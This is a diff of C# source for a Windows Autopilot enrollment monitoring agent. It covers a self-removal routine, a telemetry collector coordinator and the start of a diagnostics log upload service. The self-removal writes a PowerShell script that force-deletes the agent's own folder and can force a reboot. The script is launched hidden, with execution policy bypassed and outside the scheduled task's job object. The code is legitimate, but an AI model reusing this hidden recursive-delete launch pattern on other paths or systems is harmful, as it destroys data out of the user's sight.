}} catch {{ }}
|
||||
|
||||
{(keepLogs ? $@"
|
||||
# Delete everything except Logs directory
|
||||
Get-ChildItem -Path '{agentBasePath}' -Exclude 'Logs' | ForEach-Object {{
|
||||
$dest = $_.FullName + '.del'
|
||||
try {{ Rename-Item -Path $_.FullName -NewName $dest -Force -ErrorAction SilentlyContinue }} catch {{ }}
|
||||
Remove-Item -Path $dest -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}}
|
||||
" : $@"
|
||||
# Rename folder then delete. Retry a few times to let the OS release handles.
|
||||
$renamedPath = '{agentBasePath}.del'
|
||||
$renamed = $false
|
||||
for ($i = 1; $i -le 10; $i++) {{
|
||||
try {{
|
||||
Rename-Item -Path '{agentBasePath}' -NewName $renamedPath -Force -ErrorAction Stop
|
||||
$renamed = $true
|
||||
break
|
||||
}} catch {{
|
||||
Start-Sleep -Seconds 2
|
||||
}}
|
||||
}}
|
||||
if ($renamed) {{
|
||||
Remove-Item -Path $renamedPath -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}} else {{
|
||||
Remove-Item -Path '{agentBasePath}' -Recurse -Force -ErrorAction SilentlyContinue
|
||||
}}
|
||||
")}
|
||||
{(_configuration.RebootOnComplete ? @"
|
||||
Restart-Computer -Force -Delay 10 -Comment 'Autopilot enrollment completed - Autopilot Monitor is rebooting'
|
||||
" : "")}
|
||||
Remove-Item -Path $scriptPath -Force -ErrorAction SilentlyContinue
|
||||
";
|
||||
|
||||
// Write cleanup script to temp location (outside of agent folder)
|
||||
var tempScriptPath = Path.Combine(Path.GetTempPath(), $"AutopilotMonitor-Cleanup-{Guid.NewGuid()}.ps1");
|
||||
File.WriteAllText(tempScriptPath, cleanupScript);
|
||||
_logger.Info($"Cleanup script written to {tempScriptPath}");
|
||||
|
||||
// Change CWD to temp so this process no longer holds a reference into
|
||||
// the AutopilotMonitor folder tree - Windows won't allow renaming a
|
||||
// directory that any process has as its current working directory.
|
||||
try { Directory.SetCurrentDirectory(Path.GetTempPath()); } catch { }
|
||||
|
||||
// Launch via cmd /c start so the powershell process is created outside the
|
||||
// current Job Object (Scheduled Task job). cmd's 'start' command always
|
||||
// creates a new process group that breaks job inheritance, even under SYSTEM.
|
||||
var psi = new ProcessStartInfo
|
||||
{
|
||||
FileName = SystemPaths.Cmd,
|
||||
// Absolute path to powershell.exe is passed to `start` to prevent PATH hijacking
|
||||
// (the `start` builtin does its own PATH resolution for the target command).
|
||||
Arguments = $"/c start \"\" /b \"{SystemPaths.PowerShell}\" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File \"{tempScriptPath}\"",
|
||||
UseShellExecute = false,
|
||||
CreateNoWindow = true,
|
||||
WorkingDirectory = Path.GetTempPath()
|
||||
};
|
||||
|
||||
Process.Start(psi);
|
||||
_logger.Info("Cleanup script launched. Agent will now exit.");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error executing self-destruct", ex);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -1,621 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Periodic;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Shared.Models;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Manages collector lifecycle: start/stop, idle detection, restart after activity,
|
||||
/// max lifetime timer, gather rules, and analyzers.
|
||||
/// </summary>
|
||||
public class CollectorCoordinator : IDisposable
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly string _agentVersion;
|
||||
private readonly Action<EnrollmentEvent> _emitEvent;
|
||||
private readonly Action<string, string, string, Dictionary<string, object>> _emitTraceEvent;
|
||||
private readonly BackendApiClient _apiClient;
|
||||
private readonly EventSpool _spool;
|
||||
private readonly RemoteConfigService _remoteConfigService;
|
||||
private readonly Func<bool> _isTerminalEventSeen;
|
||||
private readonly string _previousExitType;
|
||||
private readonly DateTime? _lastBootTimeUtc;
|
||||
private readonly DateTime _agentStartTimeUtc;
|
||||
|
||||
// Core event collectors (always on)
|
||||
private EspAndHelloTracker _espAndHelloTracker;
|
||||
private LogReplayService _logReplay;
|
||||
|
||||
// Optional collectors (toggled via remote config)
|
||||
private DeliveryOptimizationCollector _deliveryOptimizationCollector;
|
||||
private StallProbeCollector _stallProbeCollector;
|
||||
|
||||
// Periodic collectors + idle management
|
||||
private PeriodicCollectorManager _periodicManager;
|
||||
|
||||
// Smart enrollment tracking
|
||||
private EnrollmentTracker _enrollmentTracker;
|
||||
|
||||
// Gather rules
|
||||
private GatherRuleExecutor _gatherRuleExecutor;
|
||||
|
||||
// Desktop arrival / IME watcher / Network change
|
||||
private DesktopArrivalDetector _desktopArrivalDetector;
|
||||
private AadJoinWatcher _aadJoinWatcher;
|
||||
private ImeProcessWatcher _imeProcessWatcher;
|
||||
private NetworkChangeDetector _networkChangeDetector;
|
||||
|
||||
// Analyzers
|
||||
private AnalyzerManager _analyzerManager;
|
||||
|
||||
// Max lifetime safety net
|
||||
private Timer _maxLifetimeTimer;
|
||||
|
||||
public CollectorCoordinator(
|
||||
AgentConfiguration configuration,
|
||||
AgentLogger logger,
|
||||
string agentVersion,
|
||||
Action<EnrollmentEvent> emitEvent,
|
||||
Action<string, string, string, Dictionary<string, object>> emitTraceEvent,
|
||||
BackendApiClient apiClient,
|
||||
EventSpool spool,
|
||||
RemoteConfigService remoteConfigService,
|
||||
Func<bool> isTerminalEventSeen,
|
||||
string previousExitType,
|
||||
DateTime? lastBootTimeUtc,
|
||||
DateTime agentStartTimeUtc)
|
||||
{
|
||||
_configuration = configuration;
|
||||
_logger = logger;
|
||||
_agentVersion = agentVersion;
|
||||
_emitEvent = emitEvent;
|
||||
_emitTraceEvent = emitTraceEvent;
|
||||
_apiClient = apiClient;
|
||||
_spool = spool;
|
||||
_remoteConfigService = remoteConfigService;
|
||||
_isTerminalEventSeen = isTerminalEventSeen;
|
||||
_previousExitType = previousExitType;
|
||||
_lastBootTimeUtc = lastBootTimeUtc;
|
||||
_agentStartTimeUtc = agentStartTimeUtc;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Whether periodic collectors are currently paused due to idle timeout.
|
||||
/// </summary>
|
||||
public bool CollectorsIdleStopped => _periodicManager?.CollectorsIdleStopped ?? false;
|
||||
|
||||
/// <summary>
|
||||
/// Called from EmitEvent when a non-periodic event is received.
|
||||
/// Updates idle tracking, resets stall probes, and restarts paused collectors.
|
||||
/// </summary>
|
||||
public void OnRealEventReceived()
|
||||
{
|
||||
_periodicManager?.OnRealEventReceived();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Cancels the max lifetime timer. Called when a terminal event is seen.
|
||||
/// </summary>
|
||||
public void CancelMaxLifetimeTimer()
|
||||
{
|
||||
_maxLifetimeTimer?.Change(Timeout.Infinite, Timeout.Infinite);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the gather rule executor of a phase change.
|
||||
/// </summary>
|
||||
public void OnPhaseChanged(EnrollmentPhase phase)
|
||||
{
|
||||
try { _gatherRuleExecutor?.OnPhaseChanged(phase); }
|
||||
catch (Exception ex) { _logger.Verbose($"GatherRuleExecutor.OnPhaseChanged failed: {ex.Message}"); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the gather rule executor of an event type (for on_event triggers).
|
||||
/// </summary>
|
||||
public void OnEvent(string eventType)
|
||||
{
|
||||
try { _gatherRuleExecutor?.OnEvent(eventType); }
|
||||
catch (Exception ex) { _logger.Verbose($"GatherRuleExecutor.OnEvent('{eventType}') failed: {ex.Message}"); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Stops just the performance collector (used during WhiteGlove completion).
|
||||
/// </summary>
|
||||
public void StopPerformanceCollectorOnly()
|
||||
{
|
||||
_periodicManager?.StopPerformanceCollectorOnly();
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Notifies the enrollment tracker that desktop has arrived.
|
||||
/// </summary>
|
||||
public void NotifyDesktopArrived()
|
||||
{
|
||||
_enrollmentTracker?.NotifyDesktopArrived();
|
||||
}
|
||||
|
||||
/// Backend validator verdict cached when RegisterSession completes before the
|
||||
/// EnrollmentTracker is instantiated. Applied to the tracker in StartEventCollectors().
|
||||
private ValidatorType _pendingBackendValidator = ValidatorType.Unknown;
|
||||
|
||||
/// <summary>
|
||||
/// Forwards the backend's authoritative validator verdict to the enrollment tracker
|
||||
/// so it can reconcile with its registry-based enrollment-type detection.
|
||||
/// If the tracker does not yet exist (RegisterSession runs before tracker start),
|
||||
/// the verdict is cached and applied when the tracker is created.
|
||||
/// </summary>
|
||||
public void ReconcileWithBackendValidator(ValidatorType validatedBy)
|
||||
{
|
||||
if (_enrollmentTracker != null)
|
||||
{
|
||||
_enrollmentTracker.ReconcileWithBackendValidator(validatedBy);
|
||||
}
|
||||
else
|
||||
{
|
||||
_pendingBackendValidator = validatedBy;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns true for events generated by periodic timers (not real enrollment activity).
|
||||
/// </summary>
|
||||
public static bool IsPeriodicEvent(string eventType)
|
||||
{
|
||||
return PeriodicCollectorManager.IsPeriodicEvent(eventType);
|
||||
}
|
||||
|
||||
public void StartEventCollectors()
|
||||
{
|
||||
_logger.Info("Starting event collectors");
|
||||
|
||||
try
|
||||
{
|
||||
var helloTimeout = _remoteConfigService?.CurrentConfig?.Collectors?.HelloWaitTimeoutSeconds
|
||||
?? _configuration.HelloWaitTimeoutSeconds;
|
||||
var modernDeploymentEnabled = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentWatcherEnabled ?? true;
|
||||
var modernDeploymentLevelMax = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentLogLevelMax ?? 3;
|
||||
var modernDeploymentBackfillEnabled = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentBackfillEnabled ?? true;
|
||||
var modernDeploymentBackfillLookbackMinutes = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentBackfillLookbackMinutes ?? 30;
|
||||
var modernDeploymentHarmlessEventIds = _remoteConfigService?.CurrentConfig?.Collectors?.ModernDeploymentHarmlessEventIds;
|
||||
_espAndHelloTracker = new EspAndHelloTracker(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
helloTimeout,
|
||||
modernDeploymentWatcherEnabled: modernDeploymentEnabled,
|
||||
modernDeploymentLogLevelMax: modernDeploymentLevelMax,
|
||||
modernDeploymentBackfillEnabled: modernDeploymentBackfillEnabled,
|
||||
modernDeploymentBackfillLookbackMinutes: modernDeploymentBackfillLookbackMinutes,
|
||||
stateDirectory: @"%ProgramData%\AutopilotMonitor\State",
|
||||
modernDeploymentHarmlessEventIds: modernDeploymentHarmlessEventIds
|
||||
);
|
||||
_espAndHelloTracker.Start();
|
||||
|
||||
if (!string.IsNullOrEmpty(_configuration.ReplayLogDir))
|
||||
{
|
||||
_logger.Info($"Log replay mode enabled - starting log replay from: {_configuration.ReplayLogDir}");
|
||||
var imeLogPatterns = _remoteConfigService?.CurrentConfig?.ImeLogPatterns;
|
||||
_logReplay = new LogReplayService(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
_configuration.ReplayLogDir,
|
||||
_configuration.ReplaySpeedFactor,
|
||||
imeLogPatterns
|
||||
);
|
||||
_logReplay.Start();
|
||||
_logger.Info("Log replay started");
|
||||
}
|
||||
|
||||
_logger.Info("Core event collectors started successfully");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error starting event collectors", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void StartOptionalCollectors()
|
||||
{
|
||||
var config = _remoteConfigService?.CurrentConfig;
|
||||
var collectors = config?.Collectors;
|
||||
|
||||
_logger.Info("Starting collectors based on remote config");
|
||||
|
||||
try
|
||||
{
|
||||
_periodicManager = new PeriodicCollectorManager(
|
||||
_configuration, _logger, _agentVersion,
|
||||
_emitEvent, _apiClient, _spool, _remoteConfigService);
|
||||
_periodicManager.Start();
|
||||
|
||||
if (collectors?.StallProbeEnabled != false)
|
||||
{
|
||||
var probeThresholds = collectors?.StallProbeThresholdsMinutes ?? new[] { 2, 15, 30, 60, 180 };
|
||||
var probeTraceIndices = collectors?.StallProbeTraceIndices ?? new[] { 2, 3, 4 };
|
||||
var probeSources = collectors?.StallProbeSources ?? new[]
|
||||
{
|
||||
"provisioning_registry", "diagnostics_registry", "eventlog", "appworkload_log"
|
||||
};
|
||||
var stalledAfterIndex = collectors?.SessionStalledAfterProbeIndex ?? 4;
|
||||
var harmlessMdmIds = collectors?.ModernDeploymentHarmlessEventIds ?? new[] { 100, 1005, 1010 };
|
||||
_stallProbeCollector = new StallProbeCollector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
probeThresholds,
|
||||
probeTraceIndices,
|
||||
probeSources,
|
||||
stalledAfterIndex,
|
||||
harmlessMdmIds);
|
||||
_logger.Info($"StallProbeCollector enabled: thresholds=[{string.Join(",", probeThresholds)}]min, traces=[{string.Join(",", probeTraceIndices)}], sources={probeSources.Length}");
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Info("StallProbeCollector disabled via config");
|
||||
}
|
||||
|
||||
_periodicManager.StallProbeCollector = _stallProbeCollector;
|
||||
|
||||
if (string.IsNullOrEmpty(_configuration.ReplayLogDir))
|
||||
{
|
||||
var imeLogPatterns = config?.ImeLogPatterns;
|
||||
var imeMatchLogPath = string.IsNullOrEmpty(_configuration.ImeMatchLogPath)
|
||||
? null
|
||||
: Environment.ExpandEnvironmentVariables(_configuration.ImeMatchLogPath);
|
||||
|
||||
_enrollmentTracker = new EnrollmentTracker(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
imeLogPatterns,
|
||||
_configuration.ImeLogPathOverride,
|
||||
imeMatchLogPath: imeMatchLogPath,
|
||||
espAndHelloTracker: _espAndHelloTracker,
|
||||
isBootstrapMode: _configuration.UseBootstrapTokenAuth,
|
||||
sendTraceEvents: _configuration.SendTraceEvents
|
||||
);
|
||||
_enrollmentTracker.Start();
|
||||
_logger.Info("EnrollmentTracker started — listening for IME patterns");
|
||||
|
||||
if (_pendingBackendValidator != ValidatorType.Unknown)
|
||||
{
|
||||
_enrollmentTracker.ReconcileWithBackendValidator(_pendingBackendValidator);
|
||||
_pendingBackendValidator = ValidatorType.Unknown;
|
||||
}
|
||||
|
||||
if (_previousExitType == "reboot_kill" && _lastBootTimeUtc.HasValue)
|
||||
{
|
||||
_enrollmentTracker.NotifySystemRebootDetected();
|
||||
}
|
||||
|
||||
if (_stallProbeCollector != null)
|
||||
{
|
||||
_stallProbeCollector.EspFailureDetected += (sender, failureType) =>
|
||||
{
|
||||
try
|
||||
{
|
||||
_enrollmentTracker?.ReportEspFailureFromExternalSource(failureType);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Failed to forward stall probe failure to EnrollmentTracker", ex);
|
||||
}
|
||||
};
|
||||
}
|
||||
}
|
||||
|
||||
if (collectors?.EnableDeliveryOptimizationCollector != false && _enrollmentTracker != null)
|
||||
{
|
||||
var doInterval = collectors?.DeliveryOptimizationIntervalSeconds ?? 3;
|
||||
_deliveryOptimizationCollector = new DeliveryOptimizationCollector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
doInterval,
|
||||
() => _enrollmentTracker?.ImeTracker?.PackageStates,
|
||||
app => _enrollmentTracker?.ImeTracker?.OnDoTelemetryReceived?.Invoke(app),
|
||||
Environment.ExpandEnvironmentVariables(Constants.LogDirectory)
|
||||
);
|
||||
_deliveryOptimizationCollector.Start();
|
||||
_logger.Info($"DeliveryOptimizationCollector started dormant (interval={doInterval}s, wakes on download)");
|
||||
|
||||
var existingHandler = _enrollmentTracker.ImeTracker.OnAppStateChanged;
|
||||
var doCollector = _deliveryOptimizationCollector;
|
||||
_enrollmentTracker.ImeTracker.OnAppStateChanged = (pkg, oldState, newState) =>
|
||||
{
|
||||
existingHandler?.Invoke(pkg, oldState, newState);
|
||||
if (newState >= AppInstallationState.Downloading && newState <= AppInstallationState.Installing)
|
||||
doCollector?.WakeUp();
|
||||
};
|
||||
}
|
||||
|
||||
_desktopArrivalDetector = new DesktopArrivalDetector(_logger);
|
||||
_desktopArrivalDetector.DesktopArrived += OnDesktopArrived;
|
||||
_desktopArrivalDetector.OnTraceEvent = (decision, reason, context) =>
|
||||
_emitTraceEvent("DesktopArrivalDetector", decision, reason, context);
|
||||
_desktopArrivalDetector.Start();
|
||||
_logger.Info("DesktopArrivalDetector started — monitoring for real user desktop");
|
||||
|
||||
_aadJoinWatcher = new AadJoinWatcher(_logger);
|
||||
_aadJoinWatcher.PlaceholderUserDetected += OnAadPlaceholderUserDetected;
|
||||
_aadJoinWatcher.AadUserJoined += OnAadUserJoined;
|
||||
_aadJoinWatcher.Start();
|
||||
_logger.Info("AadJoinWatcher started — monitoring JoinInfo registry for late AAD user");
|
||||
|
||||
_imeProcessWatcher = new ImeProcessWatcher(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger
|
||||
);
|
||||
_imeProcessWatcher.Start();
|
||||
_logger.Info("ImeProcessWatcher started — watching for IntuneManagementExtension.exe exit");
|
||||
|
||||
_networkChangeDetector = new NetworkChangeDetector(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
_configuration.ApiBaseUrl
|
||||
);
|
||||
_networkChangeDetector.Start();
|
||||
_logger.Info("NetworkChangeDetector started — monitoring for network changes");
|
||||
|
||||
var maxLifetimeMinutes = collectors?.AgentMaxLifetimeMinutes ?? _configuration.AgentMaxLifetimeMinutes;
|
||||
if (maxLifetimeMinutes > 0)
|
||||
{
|
||||
_maxLifetimeTimer = new Timer(
|
||||
MaxLifetimeTimerCallback,
|
||||
null,
|
||||
TimeSpan.FromMinutes(maxLifetimeMinutes),
|
||||
Timeout.InfiniteTimeSpan);
|
||||
_logger.Info($"Agent max lifetime timer armed: {maxLifetimeMinutes} min");
|
||||
}
|
||||
else
|
||||
{
|
||||
_logger.Info("Agent max lifetime timer disabled (0)");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error starting optional collectors", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void StopOptionalCollectors()
|
||||
{
|
||||
_periodicManager?.Stop();
|
||||
|
||||
_maxLifetimeTimer?.Dispose();
|
||||
_maxLifetimeTimer = null;
|
||||
|
||||
if (_desktopArrivalDetector != null)
|
||||
{
|
||||
_desktopArrivalDetector.DesktopArrived -= OnDesktopArrived;
|
||||
_desktopArrivalDetector.Dispose();
|
||||
_desktopArrivalDetector = null;
|
||||
}
|
||||
|
||||
if (_aadJoinWatcher != null)
|
||||
{
|
||||
_aadJoinWatcher.PlaceholderUserDetected -= OnAadPlaceholderUserDetected;
|
||||
_aadJoinWatcher.AadUserJoined -= OnAadUserJoined;
|
||||
_aadJoinWatcher.Dispose();
|
||||
_aadJoinWatcher = null;
|
||||
}
|
||||
|
||||
_imeProcessWatcher?.Dispose();
|
||||
_imeProcessWatcher = null;
|
||||
|
||||
_networkChangeDetector?.Dispose();
|
||||
_networkChangeDetector = null;
|
||||
|
||||
_deliveryOptimizationCollector?.Stop();
|
||||
_deliveryOptimizationCollector?.Dispose();
|
||||
_deliveryOptimizationCollector = null;
|
||||
|
||||
_enrollmentTracker?.Stop();
|
||||
_enrollmentTracker?.Dispose();
|
||||
_enrollmentTracker = null;
|
||||
}
|
||||
|
||||
public void StopEventCollectors()
|
||||
{
|
||||
_logger.Info("Stopping event collectors");
|
||||
|
||||
try
|
||||
{
|
||||
_espAndHelloTracker?.Stop();
|
||||
_espAndHelloTracker?.Dispose();
|
||||
|
||||
_logReplay?.Stop();
|
||||
_logReplay?.Dispose();
|
||||
|
||||
StopOptionalCollectors();
|
||||
|
||||
_gatherRuleExecutor?.Dispose();
|
||||
_gatherRuleExecutor = null;
|
||||
|
||||
_logger.Info("Event collectors stopped");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error stopping event collectors", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void StartGatherRuleExecutor()
|
||||
{
|
||||
var config = _remoteConfigService?.CurrentConfig;
|
||||
if (config?.GatherRules == null || config.GatherRules.Count == 0)
|
||||
{
|
||||
_logger.Info("No gather rules to execute");
|
||||
return;
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
_gatherRuleExecutor = new GatherRuleExecutor(
|
||||
_configuration.SessionId,
|
||||
_configuration.TenantId,
|
||||
_emitEvent,
|
||||
_logger,
|
||||
_configuration.ImeLogPathOverride
|
||||
);
|
||||
_gatherRuleExecutor.UnrestrictedMode = _configuration.UnrestrictedMode;
|
||||
_gatherRuleExecutor.UpdateRules(config.GatherRules);
|
||||
_logger.Info($"GatherRuleExecutor started with {config.GatherRules.Count} rule(s)");
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("Error starting gather rule executor", ex);
|
||||
}
|
||||
}
|
||||
|
||||
public void InitializeAnalyzers()
|
||||
{
|
||||
_analyzerManager = new AnalyzerManager(_configuration, _logger, _emitEvent, _remoteConfigService);
|
||||
_analyzerManager.Initialize();
|
||||
}
|
||||
|
||||
public void RunStartupAnalyzers()
|
||||
{
|
||||
_analyzerManager?.RunStartup();
|
||||
}
|
||||
|
||||
public void RunShutdownAnalyzers(int? whiteGlovePart = null)
|
||||
{
|
||||
_analyzerManager?.RunShutdown(whiteGlovePart);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Updates the EnrollmentTracker's trace event setting.
|
||||
/// </summary>
|
||||
public void UpdateSendTraceEvents(bool sendTraceEvents)
|
||||
{
|
||||
_enrollmentTracker?.UpdateSendTraceEvents(sendTraceEvents);
|
||||
}
|
||||
|
||||
private void MaxLifetimeTimerCallback(object state)
|
||||
{
|
||||
if (_isTerminalEventSeen())
|
||||
{
|
||||
_logger.Info("Max lifetime timer fired but terminal event already seen — ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
var uptimeMinutes = (DateTime.UtcNow - _agentStartTimeUtc).TotalMinutes;
|
||||
_logger.Warning($"Agent max lifetime expired after {uptimeMinutes:F0} minutes — emitting enrollment_failed");
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
EventType = "enrollment_failed",
|
||||
Severity = EventSeverity.Error,
|
||||
Source = "MonitoringService",
|
||||
Phase = EnrollmentPhase.Complete,
|
||||
Message = $"Agent max lifetime expired ({uptimeMinutes:F0} min) — enrollment did not complete in time",
|
||||
Data = new Dictionary<string, object>
|
||||
{
|
||||
{ "failureType", "agent_timeout" },
|
||||
{ "failureSource", "max_lifetime_timer" },
|
||||
{ "agentUptimeMinutes", Math.Round(uptimeMinutes, 1) }
|
||||
},
|
||||
ImmediateUpload = true
|
||||
});
|
||||
}
|
||||
|
||||
private void OnDesktopArrived(object sender, EventArgs e)
|
||||
{
|
||||
if (_isTerminalEventSeen())
|
||||
{
|
||||
_logger.Debug("Desktop arrived but terminal event already seen — ignoring");
|
||||
return;
|
||||
}
|
||||
|
||||
_emitEvent(new EnrollmentEvent
|
||||
{
|
||||
SessionId = _configuration.SessionId,
|
||||
TenantId = _configuration.TenantId,
|
||||
EventType = "desktop_arrived",
|
||||
Severity = EventSeverity.Info,
|
||||
Source = "DesktopArrivalDetector",
|
||||
Phase = EnrollmentPhase.Unknown,
|
||||
Message = "User desktop detected (explorer.exe under real user)",
|
||||
ImmediateUpload = true
|
||||
});
|
||||
|
||||
_enrollmentTracker?.NotifyDesktopArrived();
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
_periodicManager?.Dispose();
|
||||
_maxLifetimeTimer?.Dispose();
|
||||
_espAndHelloTracker?.Dispose();
|
||||
_logReplay?.Dispose();
|
||||
_deliveryOptimizationCollector?.Dispose();
|
||||
_enrollmentTracker?.Dispose();
|
||||
_networkChangeDetector?.Dispose();
|
||||
_gatherRuleExecutor?.Dispose();
|
||||
if (_desktopArrivalDetector != null)
|
||||
{
|
||||
_desktopArrivalDetector.DesktopArrived -= OnDesktopArrived;
|
||||
_desktopArrivalDetector.Dispose();
|
||||
}
|
||||
if (_aadJoinWatcher != null)
|
||||
{
|
||||
_aadJoinWatcher.PlaceholderUserDetected -= OnAadPlaceholderUserDetected;
|
||||
_aadJoinWatcher.AadUserJoined -= OnAadUserJoined;
|
||||
_aadJoinWatcher.Dispose();
|
||||
}
|
||||
_imeProcessWatcher?.Dispose();
|
||||
}
|
||||
|
||||
private void OnAadPlaceholderUserDetected(object sender, AadPlaceholderUserDetectedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
_enrollmentTracker?.NotifyAadPlaceholderUserDetected(e.UserEmail);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("CollectorCoordinator: OnAadPlaceholderUserDetected failed", ex);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnAadUserJoined(object sender, AadUserJoinedEventArgs e)
|
||||
{
|
||||
try
|
||||
{
|
||||
_enrollmentTracker?.NotifyAadUserJoinedLate(e.UserEmail);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.Error("CollectorCoordinator: OnAadUserJoined failed", ex);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
-423
@@ -1,423 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Net.Http;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using AutopilotMonitor.Agent.Core.Configuration;
|
||||
using AutopilotMonitor.Agent.Core.Logging;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.DeviceInfo;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Telemetry.Gather;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Transport;
|
||||
using AutopilotMonitor.Shared;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Flows;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Ime;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.SystemSignals;
|
||||
using AutopilotMonitor.Agent.Core.Monitoring.Enrollment.Completion;
|
||||
|
||||
namespace AutopilotMonitor.Agent.Core.Monitoring.Runtime
|
||||
{
|
||||
/// <summary>
|
||||
/// Result of a diagnostics package upload attempt.
|
||||
/// </summary>
|
||||
public class DiagnosticsUploadResult
|
||||
{
|
||||
/// <summary>Blob name on success, null on failure or skip.</summary>
|
||||
public string BlobName { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// Where the blob was uploaded: <c>"CustomerSas"</c> or <c>"Hosted"</c>. Verbatim
|
||||
/// from the backend's upload-url response. Surfaced into the
|
||||
/// <c>diagnostics_uploaded</c> event so the backend can stamp it on the
|
||||
/// <c>Sessions</c> row alongside the blob name — the download path then knows
|
||||
/// which storage to fetch from, even if the tenant later switches destinations.
|
||||
/// Null when the upload was skipped or against a legacy backend that doesn't
|
||||
/// return the field.
|
||||
/// </summary>
|
||||
public string Destination { get; set; }
|
||||
|
||||
/// <summary>
|
||||
/// First part of the SAS URL (up to and including the first query param) with the token truncated,
|
||||
/// so the event shows the target container without leaking the full signature.
|
||||
/// Example: "https://account.blob.core.windows.net/diagnostics?sp=(truncated)"
|
||||
/// </summary>
|
||||
public string SasUrlPrefix { get; set; }
|
||||
|
||||
/// <summary>Human-readable error code/message when upload failed. Null on success or skip.</summary>
|
||||
public string ErrorCode { get; set; }
|
||||
|
||||
public bool Success => BlobName != null;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates and uploads a diagnostics ZIP package (agent logs + IME logs + session info)
|
||||
/// to the tenant's Azure Blob Storage container via a short-lived SAS URL.
|
||||
/// The SAS URL is fetched on-demand just before upload and never stored in config or on disk.
|
||||
/// </summary>
|
||||
public class DiagnosticsPackageService
|
||||
{
|
||||
private readonly AgentConfiguration _configuration;
|
||||
private readonly AgentLogger _logger;
|
||||
private readonly BackendApiClient _apiClient;
|
||||
private readonly HttpClient _httpClient;
|
||||
|
||||
private static readonly string ImeLogFolder =
|
||||
Environment.ExpandEnvironmentVariables(@"%ProgramData%\Microsoft\IntuneManagementExtension\Logs");
|
